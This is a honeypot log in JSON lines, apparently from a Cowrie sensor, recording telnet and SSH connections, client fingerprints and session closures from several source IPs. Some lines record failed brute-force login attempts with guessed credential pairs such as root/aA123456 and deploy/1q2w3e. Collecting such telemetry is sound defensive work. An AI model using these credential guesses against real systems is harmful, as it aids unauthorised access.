{"eventid":"cowrie.session.closed","duration":34.80751442909241,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:44.377000Z","src_ip":"62.210.97.77","session":"84a2c4fe06ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:44.446915Z","src_ip":"176.65.132.254","session":"b101af9c5669","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45634,"dst_ip":"10.17.0.5","dst_port":23,"session":"41d0ead339b1","protocol":"telnet","message":"New connection: 62.210.97.77:45634 (10.17.0.5:23) [session: 41d0ead339b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:44.811957Z"}
{"eventid":"cowrie.session.closed","duration":36.72937774658203,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:44.970486Z","src_ip":"62.210.97.77","session":"339a8ca3864e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45636,"dst_ip":"10.17.0.5","dst_port":23,"session":"5729db5bc720","protocol":"telnet","message":"New connection: 62.210.97.77:45636 (10.17.0.5:23) [session: 5729db5bc720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:45.479562Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":46558,"dst_ip":"10.17.0.5","dst_port":23,"session":"4189f3cbd1ac","protocol":"telnet","message":"New connection: 65.60.27.33:46558 (10.17.0.5:23) [session: 4189f3cbd1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:45.508972Z"}
{"eventid":"cowrie.session.closed","duration":30.290685892105103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:46.052300Z","src_ip":"136.144.139.78","session":"fe3efa621217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.512903928756714,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:47.331047Z","src_ip":"62.210.97.77","session":"4df5ef624eca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59726,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c772ace798a","protocol":"ssh","message":"New connection: 176.65.132.254:59726 (10.17.0.5:22) [session: 2c772ace798a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:47.669226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:47.673947Z","src_ip":"176.65.132.254","session":"2c772ace798a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:47.756117Z","src_ip":"176.65.132.254","session":"2c772ace798a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.571126222610474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:47.944835Z","src_ip":"62.210.97.77","session":"2035689fe7d5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gpt","password":"gpt","message":"login attempt [gpt/gpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:48.040486Z","src_ip":"176.65.132.254","session":"2c772ace798a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17274,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d46593ae847","protocol":"ssh","message":"New connection: 190.129.122.12:17274 (10.17.0.5:22) [session: 0d46593ae847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:48.412845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:48.417159Z","src_ip":"190.129.122.12","session":"0d46593ae847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.83694243431091,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:48.491346Z","src_ip":"62.210.97.77","session":"3f5608f88e5b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:48.588456Z","src_ip":"190.129.122.12","session":"0d46593ae847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:49.138989Z","src_ip":"176.65.132.254","session":"2c772ace798a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1q2w3e","message":"login attempt [deploy/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:49.306800Z","src_ip":"190.129.122.12","session":"0d46593ae847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51712,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cb0184226ca","protocol":"telnet","message":"New connection: 65.60.27.33:51712 (10.17.0.5:23) [session: 6cb0184226ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:50.054781Z"}
{"eventid":"cowrie.session.closed","duration":42.69109082221985,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:50.374958Z","src_ip":"65.60.27.33","session":"4d9bdfe5ac89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.871150016784668,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:50.379981Z","src_ip":"65.60.27.33","session":"4189f3cbd1ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:50.480057Z","src_ip":"190.129.122.12","session":"0d46593ae847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46280,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e8d73682626","protocol":"telnet","message":"New connection: 134.209.8.29:46280 (159.203.135.109:23) [session: 9e8d73682626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:50.823281Z"}
{"eventid":"cowrie.session.closed","duration":35.65997266769409,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:51.299015Z","src_ip":"62.210.97.77","session":"c6a75672d0d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.88238000869751,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:51.598054Z","src_ip":"62.210.97.77","session":"e6788820e05b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59752,"dst_ip":"10.17.0.5","dst_port":22,"session":"e86ae6a8cc96","protocol":"ssh","message":"New connection: 176.65.132.254:59752 (10.17.0.5:22) [session: e86ae6a8cc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:51.971053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:51.975731Z","src_ip":"176.65.132.254","session":"e86ae6a8cc96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:52.064935Z","src_ip":"176.65.132.254","session":"e86ae6a8cc96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:52.347626Z","src_ip":"176.65.132.254","session":"e86ae6a8cc96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.08013677597046,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:52.354182Z","src_ip":"62.210.97.77","session":"f7609efcc636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":36968,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be7a1e671f4","protocol":"telnet","message":"New connection: 134.209.8.29:36968 (159.203.135.109:23) [session: 1be7a1e671f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:52.388630Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54214,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea19ecbd23c4","protocol":"telnet","message":"New connection: 62.210.97.77:54214 (10.17.0.5:23) [session: ea19ecbd23c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:52.995390Z"}
{"eventid":"cowrie.session.closed","duration":32.8404426574707,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:53.271150Z","src_ip":"62.210.97.77","session":"0ccff1312c9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:53.438574Z","src_ip":"176.65.132.254","session":"e86ae6a8cc96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54222,"dst_ip":"10.17.0.5","dst_port":23,"session":"504b0e3663b0","protocol":"telnet","message":"New connection: 62.210.97.77:54222 (10.17.0.5:23) [session: 504b0e3663b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:54.352181Z"}
{"eventid":"cowrie.session.closed","duration":37.32994723320007,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:54.970995Z","src_ip":"62.210.97.77","session":"295bc9883e27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.43540382385254,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:55.200279Z","src_ip":"62.210.97.77","session":"9dce2855af28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.674232721328735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:56.633261Z","src_ip":"62.210.97.77","session":"82cd73790ba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54484,"dst_ip":"10.17.0.5","dst_port":22,"session":"4749bf02f1bf","protocol":"ssh","message":"New connection: 176.65.132.254:54484 (10.17.0.5:22) [session: 4749bf02f1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:56.656894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:56.661997Z","src_ip":"176.65.132.254","session":"4749bf02f1bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:56.743988Z","src_ip":"176.65.132.254","session":"4749bf02f1bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:56.996965Z","src_ip":"176.65.132.254","session":"4749bf02f1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":45426,"dst_ip":"159.203.135.109","dst_port":23,"session":"808c45badb53","protocol":"telnet","message":"New connection: 136.144.139.78:45426 (159.203.135.109:23) [session: 808c45badb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:57.418920Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:58.082565Z","src_ip":"176.65.132.254","session":"4749bf02f1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.5153911113739,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:58.684793Z","src_ip":"165.232.131.181","session":"e87dc5ba177d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.84306526184082,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:59.257065Z","src_ip":"62.210.97.77","session":"2535f2d0be75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33524,"dst_ip":"10.17.0.5","dst_port":23,"session":"25c9610146c0","protocol":"telnet","message":"New connection: 65.60.27.33:33524 (10.17.0.5:23) [session: 25c9610146c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:14:59.425865Z"}
{"eventid":"cowrie.session.closed","duration":39.56549429893494,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:00.690884Z","src_ip":"62.210.97.77","session":"06698d269ac9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54496,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffa3dd241ff4","protocol":"ssh","message":"New connection: 176.65.132.254:54496 (10.17.0.5:22) [session: ffa3dd241ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:00.745366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:00.750453Z","src_ip":"176.65.132.254","session":"ffa3dd241ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:00.874460Z","src_ip":"176.65.132.254","session":"ffa3dd241ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34364,"dst_ip":"10.17.0.5","dst_port":23,"session":"770196be85e8","protocol":"telnet","message":"New connection: 62.210.97.77:34364 (10.17.0.5:23) [session: 770196be85e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:01.104359Z"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:01.443721Z","src_ip":"176.65.132.254","session":"ffa3dd241ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.76522135734558,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:02.307110Z","src_ip":"65.60.27.33","session":"ce36c9ec6592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:02.555958Z","src_ip":"176.65.132.254","session":"ffa3dd241ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.925490617752075,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:02.647935Z","src_ip":"62.210.97.77","session":"75e8487f5c4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34376,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac32dcba6a5","protocol":"telnet","message":"New connection: 62.210.97.77:34376 (10.17.0.5:23) [session: bac32dcba6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:02.909784Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34380,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b9c8be0d75e","protocol":"telnet","message":"New connection: 62.210.97.77:34380 (10.17.0.5:23) [session: 3b9c8be0d75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:15:03.363738Z"}
